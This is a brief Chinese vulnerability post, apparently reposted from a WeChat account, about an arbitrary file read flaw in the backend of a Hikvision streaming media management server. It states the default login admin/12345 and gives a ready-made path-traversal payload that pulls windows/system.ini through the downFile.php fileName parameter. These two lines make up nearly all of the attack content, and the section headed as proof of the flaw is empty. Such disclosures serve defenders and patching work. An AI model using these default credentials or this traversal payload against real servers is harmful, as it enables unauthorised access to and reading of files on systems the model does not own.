默认账号密码为 admin/12345
构造payload
/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini
漏洞证明
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
原文始发于微信公众号(各家兴):HIKVISION流媒体管理服务器后台任意文件读取漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论